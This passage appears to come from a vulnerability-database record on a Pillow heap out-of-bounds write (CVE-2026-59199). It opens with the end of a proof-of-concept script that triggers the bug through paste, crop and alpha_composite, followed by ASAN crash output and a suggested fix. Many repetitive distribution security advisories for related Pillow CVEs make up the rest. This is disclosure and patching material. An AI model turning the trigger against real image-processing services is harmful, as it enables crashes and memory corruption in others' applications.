dst.tobytes().hex())\n\n    elif args.variant == \"crop\":\n        left = INT_MIN + width\n        box = (left, 0, left + width, 1)\n        print(f\"variant=crop box={box}\")\n        sys.stdout.flush()\n        out = src.crop(box)\n        print(\"crop returned; output:\", out.tobytes().hex())\n\n    else:\n        dest = (INT_MIN + width, 0)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=alpha dest={dest}\")\n        sys.stdout.flush()\n        dst.alpha_composite(src, dest=dest)\n        print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n    return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.","status":"published","published":"2026-07-20T23:09:53Z","modified":"2026-09-10T03:51:10.822199342Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"OESA-2026-3185","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.878100179Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3186","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.638944258Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3187","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.840350524Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3188","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.801015885Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"OESA-2026-3189","title":"python-pillow security update","description":"Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \\ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift.    of CVE-2022-22815,CVE-2022-22816)\r\n\r\nSecurity Fix(es):\n\nPillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)\n\nPillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0026apos;s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)\n\nPillow is a Python imaging library. Prior to 12.3.0, Pillow\u0026apos;s ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform\u0026apos;s declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)","status":"published","published":"2026-08-01T11:12:03Z","modified":"2026-08-18T01:21:24.845114325Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:46.823443Z"},{"id":"PYSEC-2026-3451","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:17:01.937Z","modified":"2026-07-15T20:11:36.266805254Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"UBUNTU-CVE-2026-59199","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:17:00Z","modified":"2026-11-05T11:46:37.660361009Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-05T13:30:15.321876Z"},{"id":"BIT-pillow-2026-59199","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-15T08:54:58.754Z","modified":"2026-09-08T08:48:18.56072321Z","updated_at":"2026-11-02T15:28:34.724063Z"},{"id":"CLSA-2026-1786515922","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.","status":"published","published":"2026-08-12T06:25:22Z","modified":"2026-10-15T09:48:05.294046428Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1787039243","title":"TuxCare security update for pillow (1 CVE)","description":"TuxCare rebuilt pillow to address 1 CVE. Fixed in 10.4.0.post3+tuxcare.","status":"published","published":"2026-08-18T07:47:23Z","modified":"2026-10-15T09:48:05.69375336Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1790670270","title":"TuxCare security update for pillow (2 CVEs)","description":"TuxCare rebuilt pillow to address 2 CVEs. Fixed in 9.5.0.post6+tuxcare.","status":"published","published":"2026-09-29T08:24:30Z","modified":"2026-10-15T09:48:02.353903944Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790674233","title":"TuxCare security update for pillow (14 CVEs)","description":"TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.","status":"published","published":"2026-09-29T09:30:33Z","modified":"2026-10-15T09:48:02.144374386Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790747079","title":"TuxCare security update for pillow (4 CVEs)","description":"TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post8+tuxcare.","status":"published","published":"2026-09-30T05:44:39Z","modified":"2026-10-15T09:48:02.097906973Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790754735","title":"TuxCare security update for pillow (8 CVEs)","description":"TuxCare rebuilt pillow to address 8 CVEs. Fixed in 8.4.0.post8+tuxcare.","status":"published","published":"2026-09-30T07:52:15Z","modified":"2026-10-15T09:48:02.212872871Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792164435","title":"Fix CVE(s): CVE-2026-54058, CVE-2026-59199","description":"   * SECURITY UPDATE: heap out-of-bounds write via paste box coordinates\n     near the signed 32-bit integer limits (ELSCVE-233283)\n     - debian/patches/CVE-2026-59199.patch: compute the paste box\n       dimensions as int64_t in ImagingPaste() and ImagingFill2() in\n       src/libImaging/Paste.c. Adds a regression test in\n       Tests/test_image_paste.py.\n     - CVE-2026-59199\n   * SECURITY UPDATE: out-of-bounds read when memory-mapping McIdas AREA\n     images with an undersized row stride (ELSCVE-233312)\n     - debian/patches/CVE-2026-54058.patch: raise the row stride to at\n       least one full row of pixels in PyImaging_MapBuffer() in src/map.c.\n       Adds a regression test in Tests/test_file_mcidas.py.\n     - CVE-2026-54058","status":"published","published":"2026-10-16T15:27:27Z","modified":"2026-10-26T09:32:04.582147888Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"MGASA-2026-0463","title":"Updated python-pillow packages fix security vulnerabilities","description":"Prevent decompression bomb when parsing PDF\nWindowsViewer.get_command injection\nEPS image infinite loop\nJPEG2000 image memory usage\nMcIdas out-of-bounds (OOB) read\nOut-of-bounds (OOB) read when saving 1 mode TGA images\nOut-of-bounds (OOB) write from large RankFilter sizes\nOut-of-bounds (OOB) write from Image.paste()\nOut-of-bounds (OOB) write in ImageCmsTransform\nPrevent FontFile decompression bomb\nPrevent GD decompression bomb\n","status":"published","published":"2026-10-01T00:08:51Z","modified":"2026-10-01T00:27:45.940050235Z","updated_at":"2026-11-02T15:49:43.795591Z"},{"id":"openSUSE-SU-2026:21544-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-08-10T17:36:28Z","modified":"2026-08-12T18:23:41.374022335Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-59199","title":"CVE-2026-59199 in pillow - Patched by Root","description":"Root has patched CVE-2026-59199 in the pillow package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-11-06T10:13:42Z","modified":"2026-11-06T11:15:04.309458199Z","updated_at":"2026-11-06T11:42:45.055937Z"},{"id":"SUSE-SU-2026:23217-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-08-10T17:35:48Z","modified":"2026-08-27T18:23:09.233548245Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23228-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-08-10T17:35:48Z","modified":"2026-08-27T18:23:10.173621403Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:3084-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n","status":"published","published":"2026-07-16T17:46:49Z","modified":"2026-07-17T09:30:07.365875733Z","updated_at":"2026-11-02T15:54:04.987808Z"},{"id":"SUSE-SU-2026:3268-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues:\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-54059: bomb protection bypass via PCF font loading due to `Image.frombytes()` being called without\n  `_decompression_bomb_check()` (bsc#1270409).\n- CVE-2026-54060: excessive allocation due to `FontFile.compile()`: `Image.new()` being called without\n  `_decompression_bomb_check()` (bsc#1270410).\n- CVE-2026-55379: bomb protection bypass via font loading due to `Image.new()` being called without\n  `_decompression_bomb_check()` (bsc#1270411).\n- CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without\n  `_decompression_bomb_check()` in `GdImageFile._open()` (bsc#1270412).  \n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-07-27T10:59:25Z","modified":"2026-07-28T10:00:08.428650372Z","updated_at":"2026-11-02T15:54:04.987808Z"},{"id":"USN-8999-1","title":"pillow vulnerabilities","description":"It was discovered that Pillow incorrectly handled map stride values\nwhen loading certain McIdas AREA images. An attacker could possibly\nuse this issue to obtain sensitive information or cause a denial of\nservice. (CVE-2026-54058)\n\nIt was discovered that Pillow did not properly check for decompression\nbombs when processing font files. An attacker could possibly use this\nissue to cause Pillow to consume excessive memory, resulting in a\ndenial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)\n\nIt was discovered that Pillow did not properly check for decompression\nbombs when loading GD image files. An attacker could possibly use this\nissue to cause Pillow to consume excessive memory, resulting in a\ndenial of service. (CVE-2026-55380)\n\nIt was discovered that Pillow incorrectly validated filter sizes in\nthe rank filter implementation. An attacker could possibly use this\nissue to cause Pillow to crash or execute arbitrary code.\n(CVE-2026-59197)\n\nIt was discovered that Pillow incorrectly handled image coordinate\ncalculations. An attacker could possibly use this issue to cause\nPillow to crash. (CVE-2026-59199)\n\nIt was discovered that Pillow did not properly limit the size of\ndecompressed PDF stream data. An attacker could possibly use this\nissue to cause Pillow to consume excessive memory, resulting in a\ndenial of service. (CVE-2026-59200)\n\nIt was discovered that Pillow incorrectly parsed EPS files containing\na negative byte count in the BeginBinary directive. An attacker could\npossibly use this issue to cause Pillow to hang, resulting in a denial\nof service. This issue only affected Ubuntu 26.04 LTS.\n(CVE-2026-59203)\n\nIt was discovered that Pillow incorrectly accumulated JPEG2000 tile\ncomponent widths. An attacker could possibly use this issue to cause\nPillow to consume excessive memory, resulting in a denial of service.\n(CVE-2026-59204)\n\nIt was discovered that Pillow incorrectly validated image mode\ncompatibility in color management transforms. An attacker could\npossibly use this issue to cause Pillow to crash or execute arbitrary\ncode. (CVE-2026-59205)","status":"published","published":"2026-11-04T15:49:54Z","modified":"2026-11-05T11:58:21.097270279Z","updated_at":"2026-11-05T13:30:00.949926Z"}]}}